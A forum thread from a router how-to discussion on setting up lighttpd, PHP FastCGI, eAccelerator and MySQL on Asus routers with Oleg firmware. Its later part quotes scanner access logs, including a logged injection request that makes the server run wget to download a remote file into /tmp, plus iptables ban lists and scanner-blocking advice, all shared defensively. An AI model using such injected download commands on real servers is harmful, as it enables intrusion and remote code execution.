(plugin.c.131) Cannot load plugin mod_fastcgi more than once, please fix your config (we may not accept such configs in future releases)
Maybe some clues how to solve this issue.

wpte
30-12-2010, 10:09
And recompiling didn't helped at all, still no fcgi engine running and got this error:

(plugin.c.131) Cannot load plugin mod_fastcgi more than once, please fix your config (we may not accept such configs in future releases)
Maybe some clues how to solve this issue.

sounds like you have the conf.d fcgi script included, and uncommented it in the main config file.

so you need to uncomment the "mod_fastcgi" in the server.modules list.
because in the php-fcgi.conf file it says:

server.modules += ( "mod_fastcgi" )
:)

cichy
30-12-2010, 23:26
So where should i uncomment it coz frankly i dont understand what you mean. Where (which file) and what shoul i uncomment? :)

wpte
30-12-2010, 23:45
So where should i uncomment it coz frankly i dont understand what you mean. Where (which file) and what shoul i uncomment? :)

Sorry:p
In the beginning of the main (lighttpd.conf) config file.
Just make sure you don't include the php-fcgi module twice:)

cichy
31-12-2010, 02:07
Take a look at my lighttpd.conf file, maybe I'm doing something wrong. Also when i type php -i in console it gives me eaccelerator error.
PHP Fatal error: [eAccelerator] eAccelerator 0.9.6.1 can not be loaded twice in Unknown on line 0 When I disable fcgi support in conf file i can view html files but that's all.

wpte
31-12-2010, 16:23
Take a look at my lighttpd.conf file, maybe I'm doing something wrong. Also when i type php -i in console it gives me eaccelerator error.
PHP Fatal error: [eAccelerator] eAccelerator 0.9.6.1 can not be loaded twice in Unknown on line 0 When I disable fcgi support in conf file i can view html files but that's all.

these are the fixed workarounds I was talking about:)
the current eAccelerator ipkg package (and my how-to as well) adds a seperate config file: /opt/etc/php.d/eaccelerator.ini

so if you added that, either way you should remove the config file, or delete the part about eAccelerator in /opt/etc/php.ini :p

cichy
01-01-2011, 15:32
This helped, deleting from php.ini I mean. Maybe tutorial should be updated with this info :)

wpte
01-01-2011, 16:12
This helped, deleting from php.ini I mean. Maybe tutorial should be updated with this info :)

Well I can't keep all the changed things in the how-to... I mean, it would make things more complicated to follow I think:)

cichy
01-01-2011, 16:15
Probably Yes, either way thanks for your help :)

expert_vision
11-06-2011, 22:12
I installed lighttpd and whenever I start it, immediately closes without any warnings. If I type lighttpd without any option :

[admin@WL-00221561958C root]$ lighttpd
2011-06-11 22:55:25: (server.c.588) No configuration available. Try using -f option.
so its running. I've tried the original config file and the same thing. I've even deliberately inserted a mistake in the config file and it reported the problem correctly.

So why isn't the lighttpd process keep running ?

edit: Oh .. and I did use lighttpd successfully in the past on the same setup.

wpte
11-06-2011, 22:22
I installed lighttpd and whenever I start it, immediately closes without any warnings. If I type lighttpd without any option :

[admin@WL-00221561958C root]$ lighttpd
2011-06-11 22:55:25: (server.c.588) No configuration available. Try using -f option.
so its running. I've tried the original config file and the same thing. I've even deliberately inserted a mistake in the config file and it reported the problem correctly.

So why isn't the lighttpd process keep running ?

edit: Oh .. and I did use lighttpd successfully in the past on the same setup.

uhm... according to that line it's not running, in fact it stops because you didn't supply a configuration file which is done by using the -f parameter:)


/opt/sbin/lighttpd -f /opt/etc/lighttpd/lighttpd.conf
should do the trick

expert_vision
11-06-2011, 22:45
No .. it didn't start even with the config file.
Anyway I looked in the error.log and found this

2011-06-11 23:40:14: (log.c.166) server started
2011-06-11 23:40:14: (fdevent_linux_sysepoll.c.134) epoll_create failed (Function not implemented), try to set server.event-handler = "poll" or "select"
2011-06-11 23:40:14: (fdevent.c.41) event-handler linux-sysepoll failed, try to set server.event-handler = "poll" or "select"
2011-06-11 23:40:14: (server.c.1112) fdevent_init failed
I did just that in the config file and
lighttpd server is running. :D

I have no idea what server.event-handler = "poll" is .. and I don't think I want to know.

wpte
12-06-2011, 12:01
I did just that in the config file and
lighttpd server is running. :D

I have no idea what server.event-handler = "poll" is .. and I don't think I want to know.

uhm... the how-to tells you to do so:

This is for fixing the excluded e-poll:

line 51: change

# server.event-handler = "freebsd-kqueue" # needed on OS X

into

server.event-handler = "poll" # needed on OS X

back in the days epoll was included in the ipkg package, not anymore tho... and since our firmware doesn't have it we need poll:)
You don't want to know what it's for? like it would be some kind of dirty thing:o
To explain it in short: it changes the way how an incoming web-request is trown at the event-handler. epoll is supposed to be more efficient, but it only shows a real difference when your webserver is accessed a lot:)

expert_vision
12-06-2011, 14:23
I know it is in the how-to, but since I used lighttpd before without epoll, I thought it wasn't mandatory, and apparently that changed in the new version.
And hey .. thanks for still supporting this how-to!

wpte
12-06-2011, 16:39
I know it is in the how-to, but since I used lighttpd before without epoll, I thought it wasn't mandatory, and apparently that changed in the new version.
And hey .. thanks for still supporting this how-to!

ah cool:)
Yeah well, need to keep the fans happy right:p;)

wpte
05-07-2011, 17:33
I tried to install mysql5 from the ipkg feed today...
after some user rights stuff I managed to get it running perfectly fine, the downside however is that the php-mysql plugin doesn't seem to be compatible with the newer mysql5:o

so no mysql5 support in this how-to for now:)

matthewcheck
07-12-2011, 01:21
Hi,

first of all, great tutorial, easy to follow and set-up, everything working fine.

I just want to ask if there is a way to run php 5.3 on wl500gp. Is there a guide to do this? I am not very skilled in unix systems :(
Additionaly, is it yet possible to run mysql 5 on this box?

I need this environment as the tool I am trying to install has these requirements.

Thanks

!gm
07-12-2011, 10:58
as it's not in the repository, you'll need to compile it on your own and give it a try

good luck

wpte
07-12-2011, 12:02
Hi,

first of all, great tutorial, easy to follow and set-up, everything working fine.

I just want to ask if there is a way to run php 5.3 on wl500gp. Is there a guide to do this? I am not very skilled in unix systems :(
Additionaly, is it yet possible to run mysql 5 on this box?

I need this environment as the tool I am trying to install has these requirements.

Thanks

Thanks, glad it works:)

mysql5 is available in ipkg, it was not working 100% properly with php when I tried it however. The database itself works, but the mysql modules for php are not working. I think you have to recompile those to work with the new mysql.

you should be able to install it with ipkg install mysql5
I remember a russian thread about this as well, I'm not sure if they made it working however:D

for php, you have to recompile it yourself. to compile php is not really an issue, but you might run into dependency issues.

So if possible, I recommend to find something that does work with mysql4 :p

matthewcheck
10-12-2011, 22:02
Thanks, glad it works:)

mysql5 is available in ipkg, it was not working 100% properly with php when I tried it however. The database itself works, but the mysql modules for php are not working. I think you have to recompile those to work with the new mysql.

you should be able to install it with ipkg install mysql5
I remember a russian thread about this as well, I'm not sure if they made it working however:D

for php, you have to recompile it yourself. to compile php is not really an issue, but you might run into dependency issues.

So if possible, I recommend to find something that does work with mysql4 :p

Thanks for quick replies!

I'd like to install the Bug Genie tool: http://thebuggenie.com/index.php
As requirements say (http://issues.thebuggenie.com/wiki/TheBugGenie%3AFAQ), php 5.3 is a requirement, so probably I won't be able to do anything about it but to get 5.3.+ version running. As I have noticed, the Bug Genie tool works also with PostgreSQL version 8.2.+, and the one included in the ipkg should confirm to this requirement. So the only problem here is a PHP requirement.

As I said before, I am not very skilled in UNIX systems (I have never compiled anything yet ;)) so I am not sure if I will be able to get this working correctly. Therefore I'd really like to find a walkthrough that would guide me through entire process ... Do you know about some tutorial that would help me?

One more question, is it possible that someone unix-compile-skilled would compile the php 5.3.+ and somehow provide me a copy of it so that I could easily set it up on my machine?

Thanks in advance for replies and help ...

matt

wpte
19-12-2011, 14:48
Well... if they are small programs I'd compile them for you, but php is just too big to spend my spare time on.

postgresql is v8.2 in ipkg: http://ipkg.nslu2-linux.org/feeds/optware/oleg/cross/stable/postgresql_8.2.13-2_mipsel.ipk

I'd say, try it with that and php 5.2
if it doesn't work, I'm afraid I can't help you much apart from referring you to the part of compiling Eaccelerator. if you've installed those packages you might have a chance it's good enough to compile php with.

grab the sources of php, and read up on the ./configure parameters and try it out.
as I said, it's probably going to be a tricky thing to actually do. compiling it with the crosscompiler is also somewhat of a hell last time I tried to do something similar.:rolleyes:

ryzhov_al
21-12-2011, 06:44
I'd like to install the Bug Genie tool: http://thebuggenie.com/index.php
As requirements say (http://issues.thebuggenie.com/wiki/TheBugGenie%3AFAQ), php 5.3 is a requirement, so probably I won't be able to do anything about it but to get 5.3.+ version running. As I have noticed, the Bug Genie tool works also with PostgreSQL version 8.2.+, and the one included in the ipkg should confirm to this requirement. So the only problem here is a PHP requirement.You may try to install php 5.3.8 with mysql/pgsql modules from my OpenWRT repo. There is also pgsql-server 9.0.1, but IMHO its too heavy for embedded systems.

wpte
21-12-2011, 23:49
I want to note that lighttpd 1.4.30-1 crashes with a segmentation fault when using ssl:(
and is it just me or is that mailinglist not very active?:p

ryzhov_al
22-12-2011, 20:50
Will see if/when OpenWRT package being updated.

wpte
22-12-2011, 23:19
Will see if when OpenWRT package being updated.

yeah, I've been able to post on the mailinglist...
twice in fact, since I wasn't aware of the moderation thingy:o

mexner
04-01-2012, 15:25
I want to note that lighttpd 1.4.30-1 crashes with a segmentation fault when using ssl:(
and is it just me or is that mailinglist not very active?:p

Me too :mad:

wpte
04-01-2012, 15:49
Me too :mad:

I haven't been able to discover what is going wrong... I followed the lighttpd wiki and took note of the changes in the new version: http://www.lighttpd.net/2011/12/18/1-4-30-faster-than-santa-your-first-present-this-year

in the mean time I've compiled v1.4.29 myself to have ssl working again.

ros
04-01-2012, 23:26
I've upgraded to lighttpd_1.4.30-1_mipsel.ipk and now each time a client connects to the server, the lighttpd process dies.

Anyone else faces this problem?

ros
04-01-2012, 23:35
I want to note that lighttpd 1.4.30-1 crashes with a segmentation fault when using ssl:(
and is it just me or is that mailinglist not very active?:p

Same problem with me!
After upgrade to 1.4.30-1 the process dies on first client connect.

Could someone post a link to a previous version?

wpte
05-01-2012, 00:42
Same problem with me!
After upgrade to 1.4.30-1 the process dies on first client connect.

Could someone post a link to a previous version?

for 1.4.30 disabling the ssl engine should work.

it's not the official one, I had to compile it myself, and everything works again (as far as I'm aware).
mind that these are binaries only. By simply overwriting the 1.4.30 ones should work.


/opt/etc/init.d/S80lighttpd stop
cd /opt
wget http://wpte.kicks-ass.net/downloads/Oleg%20Firmware/Compiled%20software%20native/lighttpd-1.4.29.tar.bz2
tar -jxvf lighttpd-1.4.29.tar.bz2
rm lighttpd-1.4.29.tar.bz2
/opt/etc/init.d/S80lighttpd start

ros
07-01-2012, 18:21
thank you. will try it.

jeremees
09-01-2012, 20:51
Hello to all in this forum. And thank you for your good work so I have been able to put up a webserver. But obviously I did register, because I have a question. :) And here it comes:

I have been getting these attemps to my IP

210.34.10.68 - - [15/Dec/2011:03:00:41 +0200] "HEAD / HTTP/1.0" 302 0 "-" "-"
188.165.247.215 - - [15/Dec/2011:07:06:40 +0200] "HEAD / HTTP/1.0" 302 0 "-" "-"
67.228.187.116 - - [15/Dec/2011:09:06:21 +0200] "HEAD / HTTP/1.0" 302 0 "-" "-"
What are these?

And these are somekind of hacking attemps, right?

125.88.75.199 **.**.***.*** - [15/Dec/2011:18:11:49 +0200] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 345 "-" "ZmEu"
125.88.75.199 **.**.***.*** - [15/Dec/2011:18:11:49 +0200] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 345 "-" "ZmEu"
125.88.75.199 **.**.***.*** - [15/Dec/2011:18:11:55 +0200] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 345 "-" "ZmEu"

193.85.145.195 **.**.***.*** - [17/Dec/2011:13:37:54 +0200] "GET /cse/pmwiki.php HTTP/1.1" 200 418 "-" "-"
193.85.145.195 **.**.***.*** - [17/Dec/2011:13:37:54 +0200] "GET /info/pmwiki.php HTTP/1.1" 200 419 "-" "-"
193.85.145.195 **.**.***.*** - [17/Dec/2011:13:37:54 +0200] "GET /infowiki/pmwiki.php HTTP/1.1" 200 423 "-" "-"

188.138.11.56 **.**.***.*** - [25/Dec/2011:02:22:35 +0200] "GET //p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=wget%20--output-document%20/tmp/cgi-bin.txt%20http://freetunel.com/cgi-bin.txt HTTP/1.1" 200 586 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro"
188.138.11.56 **.**.***.*** - [25/Dec/2011:02:22:36 +0200] "GET //webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=wget%20--output-document%20/tmp/cgi-bin.txt%20http://freetunel.com/cgi-bin.txt HTTP/1.1" 200 583 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro"
188.138.11.56 **.**.***.*** - [25/Dec/2011:02:22:36 +0200] "GET //p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=wget%20http://freetunel.com/cgi-bin.txt HTTP/1.1" 200 547 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro"
How dangerous are these? Can I block them somehow?

And what the f**k is this?

61.250.80.133 **.**.***.*** - [21/Dec/2011:23:56:42 +0200] "GET /user/soapCaller.bs HTTP/1.1" 200 445 "-" "Morfeus Fucking Scanner"

I made my site SSL, thanks to wpte for instructions in this thread, blocked port 80 and after that I have get only couple attemps:

113.142.1.249 **.**.***.*** - [06/Jan/2012:11:01:34 +0200] "GET /admin/config.php HTTP/1.1" 200 436 "-" "Python-urllib/2.4"
94.24.41.200 **.**.***.*** - [08/Jan/2012:13:11:16 +0200] "GET /admin/cdr/counter.txt HTTP/1.1" 200 422 "-" "-"
Are these two same category than those above?

I want to open port 80 again, because google translate dosn't work on https. Can I forward from another port somehow? Earlier tried port 8081 and my PHP Fusion site didn't work (cookies?). So I'm asking is there something I can do those attemps?

reiten
09-01-2012, 21:55
I observe similar queries in logs of my web-server too (I have lighttpd+mysql running small forum on top of RT-N16).

Someone is scanning internet looking for admin pages of typical services and other common vulnerabilities exposed to internet. That's pretty common and there's no good way to block them (at least I don't know any).

I wouldn't worry about them unless you found something relevant to your web site (like multiple strange requests to some script).

wpte
09-01-2012, 22:18
Its hard to block scanners like that trough iptables, you would need different software for that.

What you can do is chroot your website directory, you have several how-to's on the internet for that sort of stuff.
Even if they get in, they won't be able to access the router completely, just the webpages.

I do agree that you have to watch out these days, so many pages are being injected with weird stuff... damn hackers with their botnets:(

ryzhov_al
10-01-2012, 05:50
Someone is scanning internet looking for admin pages of typical services and other common vulnerabilities exposed to internet. That's pretty common and there's no good way to block them (at least I don't know any).Yes. But if someone scans my router several times, i block them that way:

$ cat /tmp/local/sbin/post-firewall
#!/bin/sh
...
for banned_ip in `cat /tmp/local/sbin/banned_ips.txt`;
do
iptables -I INPUT -s $banned_ip -j DROP
done


$ cat /tmp/local/sbin/banned_ips.txt
109.230.220.35
109.230.251.94
109.236.81.56
111.228.1.5
116.255.163.100
118.129.154.165
119.188.7.161
...Its ugly way, i know, but some scanners are really annoying.

jeremees
15-01-2012, 12:19
Will that blocking thing slow down webserver? Becaus I think they use everytime different IP, and that banned_ips.txt file will get long after some time.

And what is a good way to follow access and error.log files? I made them to rotate like system log, and sended to my email as text. But email breaks those access log lines so that's hard to follow it.

wpte
15-01-2012, 14:39
Will that blocking thing slow down webserver? Becaus I think they use everytime different IP, and that banned_ips.txt file will get long after some time.

And what is a good way to follow access and error.log files? I made them to rotate like system log, and sended to my email as text. But email breaks those access log lines so that's hard to follow it.

iptables will block anything from that ip... it's on a low level, but yes it will slow down your system slightly. Probably it won't be noticable tho.

I'm actually working on getting snort installed and working: http://www.snort.org/
not sure how fast it is so far... but I have the idea that it's too heavy:D
snort is able to detect illegal attempts and able to block it:)

newbiefan
15-01-2012, 16:54
Will that blocking thing slow down webserver? Becaus I think they use everytime different IP, and that banned_ips.txt file will get long after some time.

And what is a good way to follow access and error.log files? I made them to rotate like system log, and sended to my email as text. But email breaks those access log lines so that's hard to follow it.

Well, you can use my ban list as well as the script (iptables) from here: http://wl500g.info/showthread.php?t=27852
it should be up to date....and I suggest to have a closer look to my avoid brute force script, scanners are detected and blocked for a complete day by iptables.
I have not recognized that anything is slow on my rtn when using this blocklist.
Further, there are several ways how I control my webserver.
When needed, I can help you to adapt my avbf2_6 script for gateway-usage.
Just translate by google - and no worry - someone will guide you when any problem occurs.
HTH
Have fun
newbiefan

EDIT:
Ah, I forgot: a good starting point to block Scanners and Script-Kiddies is to use url.access-deny capabilities of your lighttpd. Configure your lighty.conf to block scanners like ZmEU or Morpheus fucking scanner or without any agent aso....
Here you have a sample config to do so: http://pastebin.com/PQuMbF3Y

ryzhov_al
15-01-2012, 19:42
Ah, I forgot: a good starting point to block Scanners and Script-Kiddies is to use url.access-deny capabilities of your lighttpd. Configure your lighty.conf to block scanners like ZmEU or Morpheus fucking scanner or without any agent aso....Thanks for that idea!

pawelgt
14-05-2012, 16:02
I have a problem with lighttpd. It didn't start automaticaly so I tried forcing it to start but it says that i havn't got config file :

[admin@WL-0026189D2E8C root]$ lighttpd
2012-05-14 15:51:07: (server.c.595) No configuration available. Try using -f option.

So i tried attaching it, but there is an error in my config...

[admin@WL-0026189D2E8C root]$ lighttpd -f /opt/etc/lighttpd/lighttpd.conf
2012-05-14 15:57:08: (configfile.c.943) source: /opt/etc/lighttpd/lighttpd.conf line: 97 pos: 19 parser failed somehow near here: (EOL)
[admin@WL-0026189D2E8C root]$

I attach my lighttpd.conf. Can someone help me with this? I have WL-500gp v2 and Olegs 1.9.2.7-10.
8940

!gm
14-05-2012, 17:36
there are several line-breaks that weren't commented out (e.g. lines 92, 102, 127...)
or is that a copy-paste fault?

good luck

pawelgt
14-05-2012, 18:48
You are right! I corrected it, assigned config file and I'm not sure if it is already working. I've got this process :

237 ? S 0:00 lighttpd -f /opt/etc/lighttpd/lighttpd.conf
238 ? Ss 0:01 /opt/bin/php-fcgi
240 ? S 0:00 /opt/bin/php-fcgi

Is 237 lighttpd working or just config file? Also when i type my ip in browser i should see my website but it doesn't load. At http://192.168.1.1:8080/ I see some kind of php configuration.
Now when i try to start lighttpd


[admin@WL-0026189D2E8C root]$ /opt/etc/init.d/S80lighttpd start
Starting web server: lighttpd :
2012-05-14 18:55:06: (network.c.371) can't bind to port: 8080 Address already in use
[admin@WL-0026189D2E8C root]$

How to make my website working? I Attach my corrected 8941.

!gm
14-05-2012, 19:09
..see some kind of php configuration.


lighty is running :)

I doubt you have some kind of phpinfo() stuff in your docroot (line 28: /tmp/mnt/disc0_3/www/)

the server is delivering index files - just check the path :cool:

^of course you wont be able to start two lighttpd instances at the same port :D

pawelgt
14-05-2012, 19:42
You're right again!
It was my index.php ;)

<?php
phpinfo();
?>

!gm
22-05-2012, 13:27
Last night, I reconstructed this how-to on my Entware device.

Now I want to share my experiences. :)

As lighttpd now is more modular you additionally have to

opkg install lighttpd-mod-fastcgi

afterwards you need to modify lighttpd.conf:

server.modules now needs to contain that mod_fastcgi:


server.modules = (
# "mod_rewrite",
# "mod_redirect",
# "mod_alias",
# "mod_auth",
# "mod_status",
# "mod_setenv",
"mod_fastcgi"
# "mod_proxy",
# "mod_simple_vhost",
# "mod_cgi",
# "mod_ssi",
# "mod_usertrack",
# "mod_expire",
# "mod_webdav"
)

also uncomment that section about the module and keep an eye at the bin-path:


#### fastcgi module
## read fastcgi.txt for more info
fastcgi.server = (
".php" => (
"localhost" => (
"socket" => "/opt/tmp/php-fastcgi.socket",
"bin-path" => "/opt/bin/php-fcgi"
)
)
)


the php part of the howto is valid for entware, beside the new package-names (php -> php5.. etc) and a tiny typo in the eaccelator.ini:
http://code.google.com/p/wl500g-repo/issues/detail?id=15

I did not install mysql, as I don't need it right now. I'm kind of sure that there is no problem.
Have fun!

wpte
22-05-2012, 19:17
wow good news gm!;)

I've only shortly tried entware out a bit, but at that time it wasn't suitable for my needs :p
it looks a lot better when it comes to the amount of packages, so I might give it a try again someday soon:D

thE_29
04-06-2012, 11:26
As I have a rather old version of the oleg-firmware, i updated my php, lighttpd installations.
But now, the php is not able to connect to magickwand...

It seems, that the older version of php, had the magickwand/imagemagick functions inbuilt and not dynamicly linked.. (because the imagemagick doesnt provide any of the magickwand functions)

Who is that person, who updates the packages here: http://ipkg.nslu2-linux.org/feeds/optware/oleg/cross/stable/
Because now, it is UNUSABLE!!!!

Even "phpinfo" is not working anymore... So thanks for updating the php and stuff and turning it into completly useless trash..


You will get such wonderful entries in the log:

2012-06-04 11:01:29: (mod_fastcgi.c.2676) FastCGI-stderr: PHP Fatal error: Call to undefined function NewMagickWand() in test.php on line 2

And you see "503 - service not available" or "site not found" in the browser..


When i added the extensions dir in the php.ini from the first post, i got this errors now (when calling phpinfo)

2012-06-04 11:29:22: (mod_fastcgi.c.2543) unexpected end-of-file (perhaps the fastcgi process died): pid: 10344 socket: tcp:127.0.0.1:1025
2012-06-04 11:29:22: (mod_fastcgi.c.3286) child signaled: 11
2012-06-04 11:29:22: (mod_fastcgi.c.3329) response not received, request sent: 981 on socket: tcp:127.0.0.1:1025 for /test.php?, closing connection

PS: I will never ever update anything again..

Edit2:

When i start php-fcgi in shell, i get this log:

PHP Warning: PHP Startup: Unable to load dynamic library '/opt/lib/php/extensions/magickwand.so' - File not found in Unknown on line 0

Which package delivers this extension?!?!

newbiefan
04-06-2012, 23:05
PS: I will never ever update anything again..


Well, thats the reason why I have some repos downloaded.

I have a complete repo available with lighttpd 1.4.22-1
Maybe it helps. Download link via pm - maybe it's a bit slow, but it works..


have fun

thE_29
06-06-2012, 16:13
Thanks for the mirror, but you dont have the old php-packages..
I tried to compile imagemagick for the router, but it didnt work..

Try to compile php-5.3 now! Lets see what will happen :D

wpte
06-06-2012, 19:28
Thanks for the mirror, but you dont have the old php-packages..
I tried to compile imagemagick for the router, but it didnt work..

Try to compile php-5.3 now! Lets see what will happen :D

I hear you man... the ssl problem with lighttpd is still not fixed...
I'm pretty much done with ipkg myself for these kind of reasons:(